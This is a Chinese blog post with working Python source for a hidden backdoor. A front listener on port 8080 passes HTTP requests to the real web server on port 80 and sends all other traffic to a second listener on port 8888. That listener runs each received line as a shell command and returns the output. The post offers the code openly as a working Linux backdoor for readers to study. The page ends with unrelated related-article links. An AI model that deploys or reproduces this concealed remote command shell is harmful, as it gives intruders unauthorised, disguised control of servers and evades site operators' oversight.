python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现的文件夹清理程序分享
Nov 22 Python
python动态网页批量爬取
Feb 14 Python
20招让你的Python飞起来!
Sep 27 Python
Python编程实现输入某年某月某日计算出这一天是该年第几天的方法
Apr 18 Python
详解python之协程gevent模块
Jun 14 Python
使用numba对Python运算加速的方法
Oct 15 Python
使用python制作一个为hex文件增加版本号的脚本实例
Jun 12 Python
python处理RSTP视频流过程解析
Jan 11 Python
python super函数使用方法详解
Feb 14 Python
详细分析Python垃圾回收机制
Jul 01 Python
Numpy(Pandas)删除全为零的列的方法
Sep 11 Python
linux中nohup和后台运行进程查看及终止
Jun 24 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
德生PL990,目前市面上唯一一款便携式插卡蓝牙全波段高性能收音机
2021/03/02 无线电
php三维数组去重(示例代码)
2013/11/26 PHP
关于JSON以及JSON在PHP中的应用技巧
2013/11/27 PHP
destoon数据库表说明汇总
2014/07/15 PHP
编写PHP脚本过滤用户上传的图片
2015/07/03 PHP
JS中令人发指的valueOf方法介绍
2013/02/22 Javascript
jquery遍历筛选数组的几种方法和遍历解析json对象
2013/12/13 Javascript
js判断设备是否为PC并调整图片大小
2014/02/12 Javascript
JavaScript判断一个字符串是否包含指定子字符串的方法
2015/03/18 Javascript
JavaScript父子窗体间的调用方法
2015/03/31 Javascript
javascript实现根据时间段显示问候语的方法
2015/06/18 Javascript
Hammer.js+轮播原理实现简洁的滑屏功能
2016/02/02 Javascript
微信 java 实现js-sdk 图片上传下载完整流程
2016/10/21 Javascript
Node.js开启Https的实践详解
2016/10/25 Javascript
js实现图片粘贴上传到服务器并展示的实例
2017/11/08 Javascript
react中hook介绍以及使用教程
2020/12/11 Javascript
在Mac OS上部署Nginx和FastCGI以及Flask框架的教程
2015/05/02 Python
python实现备份目录的方法
2015/08/03 Python
Python数据类型详解(二)列表
2016/05/08 Python
Python文件与文件夹常见基本操作总结
2016/09/19 Python
python数据类型_字符串常用操作(详解)
2017/05/30 Python
Python模拟简单电梯调度算法示例
2018/08/20 Python
Python3中编码与解码之Unicode与bytes的讲解
2019/02/28 Python
Python opencv实现人眼/人脸识别以及实时打码处理
2019/04/29 Python
Python 实现一行输入多个数字(用空格隔开)
2020/04/29 Python
浅析rem和em和px vh vw和% 移动端长度单位
2016/04/28 HTML / CSS
用html5实现语音搜索框的方法
2014/03/18 HTML / CSS
伦敦一卡通:The London Pass
2018/11/30 全球购物
TheFork葡萄牙:欧洲领先的在线餐厅预订平台
2019/05/27 全球购物
名词解释型面试题(主要是网络)
2013/12/27 面试题
护理专业自荐信范文
2014/02/26 职场文书
机电一体化应届生求职信
2014/08/09 职场文书
2015年小学语文工作总结
2015/05/25 职场文书
Python requests库参数提交的注意事项总结
2021/03/29 Python
浅谈Python数学建模之线性规划
2021/06/23 Python
python实现学生信息管理系统(面向对象)
2022/06/05 Python